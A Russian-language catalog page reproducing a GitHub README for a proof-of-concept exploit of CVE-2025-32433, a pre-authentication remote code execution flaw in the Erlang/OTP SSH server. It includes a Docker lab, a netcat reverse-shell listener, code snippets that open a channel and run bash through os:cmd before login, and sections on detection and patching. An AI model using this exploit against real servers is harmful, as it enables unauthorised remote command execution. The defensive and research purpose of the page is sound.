Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Erlang-OTP-PoC_CVE-2025-32433 — Доказательство концепции эксплуатации для CVE-2025-32433, уязвимости путаницы каналов до аутентификации в Erlang/OTP SSH, демонстрирующей обход аутентификации и удаленное выполнение кода с помощью Docker-лаборатории. | Kitploit
Инструменты/GitHubGitHub/antoniesoga/erlang-otp-poc_cve-2025-32433
Анализ уязвимостейЭксплуатацияТестирование на ПроникновениеОбучение и ОбразованиеИнструмент Удаленного Доступа
GitHubantoniesoga/erlang-otp-poc_cve-2025-32433

Erlang-OTP-PoC_CVE-2025-32433

Доказательство концепции эксплуатации для CVE-2025-32433, уязвимости путаницы каналов до аутентификации в Erlang/OTP SSH, демонстрирующей обход аутентификации и удаленное выполнение кода с помощью Docker-лаборатории.

Репозиторий
2127 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Путаница каналов до аутентификации в SSH Erlang/OTP

📺 Видеодоказательство концепции

Описание: Демонстрация уязвимости путаницы каналов до аутентификации в SSH Erlang/OTP.

Нажмите здесь, чтобы посмотреть полное демо на YouTube

Аннотация

О чём этот PoC?

Этот Proof of Concept демонстрирует CVE-2025-32433 — уязвимость в реализации SSH-сервера Erlang/OTP, которая позволяет злоумышленнику открывать SSH-каналы и выполнять команды до аутентификации.

Из-за некорректного контроля переходов состояний протокола SSH определённые SSH-сообщения (SSH_MSG_CHANNEL_OPEN и SSH_MSG_CHANNEL_REQUEST) принимаются до успешного завершения аутентификации пользователя. Это приводит к полному обходу аутентификации и удалённому выполнению команд внутри виртуальной машины Erlang.


Уязвимые условия

Что должно быть уязвимым для срабатывания?

Уязвимость может быть использована при соблюдении следующих условий:

  • Версии Erlang/OTP, подверженные этой уязвимости, — все версии до и включая:
    • OTP-27.3.2
    • OTP-26.2.5.10
    • OTP-25.3.2.19
  • Приложение Erlang ssh включено
  • Настроена аутентификация по паролю
  • SSH-демон доступен для атакующего
  • Действительные учётные данные не требуются

Важно, что эта проблема не зависит от слабых учётных данных или неправильной конфигурации, а связана с ошибочной обработкой состояний протокола.


Техническая первопричина и схема эксплуатации

Как проявляется уязвимость и почему она эксплуатируема?

Проблема заключается в ошибке путаницы состояний в SSH-сервере Erlang/OTP, где состояние аутентификации строго не контролируется перед обработкой сообщений, связанных с каналами.

На высоком уровне эксплуатация происходит следующим образом:

  1. Атакующий завершает фазы обмена версиями SSH и обмена ключами.
  2. Сервер переводит соединение в активное состояние сессии, не требуя успешной аутентификации пользователя.
  3. Атакующий отправляет запрос SSH_MSG_CHANNEL_OPEN для канала session.
  4. Сервер некорректно принимает запрос канала до завершения аутентификации.
  5. На открытом канале отправляется SSH_MSG_CHANNEL_REQUEST типа exec.
  6. Подсистема SSH Erlang передаёт запрос обработчику соединения.
  7. Переданная полезная нагрузка выполняется с помощью примитивов Erlang (например, os:cmd/1) в контексте виртуальной машины.

Такое поведение нарушает модель протокола SSH, определённую в RFC 4252/4254, согласно которой создание каналов и запросы должны разрешаться только после успешной аутентификации.

Кратко:

  • Состояние аутентификации отслеживается, но не применяется
  • Обработка каналов привязана к состоянию сессии, а не к состоянию аутентификации
  • Процесс ssh_connection обрабатывает запросы exec преждевременно
  • Это позволяет удалённое выполнение кода до аутентификации

Это уязвимость логики и управления состоянием, а не криптографическая слабость.


Сборка и развёртывание

Следующие шаги создают и развёртывают изолированную уязвимую среду с помощью Docker. Контейнер запускает специально укреплённый SSH-сервер, который отклоняет все учётные данные, гарантируя, что любое успешное выполнение команды является результатом обхода аутентификации.

root@kitploit:~
git clone https://github.com/AntonieSoga/Erlang-OTP-PoC_CVE-2025-32433.git
root@kitploit:~
docker build -t erlang-ssh .

build

root@kitploit:~
docker run -d --name erlang-ssh -p 2222:2222 erlang-ssh

После запуска SSH-демон будет доступен на порту 2222 и готов к эксплуатации с помощью предоставленного PoC.


Эксплуатация

Этот скрипт использует недостаток в SSH-сервере Erlang/OTP, который позволяет обрабатывать определённые сообщения протокола SSH до аутентификации.

Процесс эксплуатации требует два терминала: один для приёма обратного соединения, второй для запуска эксплойта.

  • Слушатель (Терминал 1):

    root@kitploit:~
    nc -lvnp 4488
    
  • Запуск эксплойта (Терминал 2):

    root@kitploit:~
    python3 exploit.py
    

Пошаговое описание скрипта эксплуатации

  1. Подмена протокола

    root@kitploit:~
    s.sendall(b"SSH-2.0-OpenSSH_8.9\r\n")
    s.sendall(pad(kex))
    

    Эти сообщения используются, чтобы сервер воспринимал соединение как легитимного SSH-клиента. Они продвигают состояние протокола SSH достаточно далеко, чтобы разрешить сообщения, связанные с каналами, без завершения аутентификации.

  2. Канал сессии до аутентификации

    root@kitploit:~
    s.sendall(pad(b"\x5a" + s_pay("session") + struct.pack(">III", 0, 0x68000, 0x10000)))
    

    Этот запрос используется для открытия канала сессии до аутентификации. На уязвимых SSH-серверах Erlang/OTP это обходит нормальные средства контроля доступа и создаёт несанкционированную сессию.

  3. Запрос на выполнение команды

    root@kitploit:~
    erl_cmd = f'os:cmd("bash -c \'{escaped}\'").'
    exec_req = b"\x62" + struct.pack(">I", 0) + s_pay("exec") + b"\x01" + s_pay(erl_cmd)
    

    Этот запрос используется для запуска выполнения команды через среду выполнения Erlang. Оборачивание полезной нагрузки в синтаксис Erlang гарантирует, что команда выполняется виртуальной машиной Erlang, а не обрабатывается как стандартная команда оболочки SSH.

Результат

Если цель уязвима, переданная команда выполняется без аутентификации.

exploit

nc


Защита

Защита от этой уязвимости основана на строгой сегментации сети и мониторинге на уровне протокола, поскольку стандартные журналы аутентификации могут не регистрировать попытки обхода (так как аутентификация пропускается).

  • Ограничение сети: Не открывайте порты SSH Erlang (стандартные или нестандартные) в общедоступный интернет. Ограничьте доступ доверенными IP-адресами или используйте VPN/Bastion-хост.
  • Сигнатуры IDS/IPS: Настройте системы обнаружения вторжений на оповещение о SSH-сессиях, где пакеты SSH_MSG_CHANNEL_OPEN (Тип 90) отправляются сразу после обмена ключами, без предшествующего пакета SSH_MSG_USERAUTH_SUCCESS (Тип 52).
  • Мониторинг во время выполнения: Отслеживайте виртуальную машину Erlang на предмет неожиданных вызовов os:cmd или порождения процессов оболочки, которые не соответствуют успешно вошедшей в систему пользовательской сессии в журналах приложения.

Смягчение

Единственным полным исправлением является обновление среды выполнения Erlang/OTP для обеспечения строгих переходов состояний.

1. Обновление Erlang/OTP

Немедленно обновите среду выполнения Erlang/OTP до версии, которая применяет проверки аутентификации перед созданием каналов. Убедитесь, что вы используете версию новее, чем указанные в разделе «Уязвимые условия».

Проверьте официальные релизы Erlang/OTP на GitHub на наличие последних исправлений безопасности.

2. Временные обходные решения

Если немедленное обновление невозможно, примените следующие меры:

  • Отключите приложение SSH: Если интерфейс SSH не критически важен, остановите приложение, чтобы убрать поверхность атаки:

    root@kitploit:~
    ssh:stop().
    
  • Белый список брандмауэра: Строго ограничьте сетевой доступ к открытому SSH-порту только внутренними административными подсетями.


Соавторы

AntonieSoga Antonie Șoga AntonieSoga · Соавтор

7uddy Ene Călin Tudor 7uddy · Соавтор

BanicaCristian04 Cristian Bănică BanicaCristian04 · Соавтор


⚠️ Отказ от ответственности

Только для образовательных и защитных исследований.


Ссылки

  • CVE-2025-32433
  • Исходный код SSH Erlang/OTP
  • RFC 4252/4254

cve

Скачать инструмент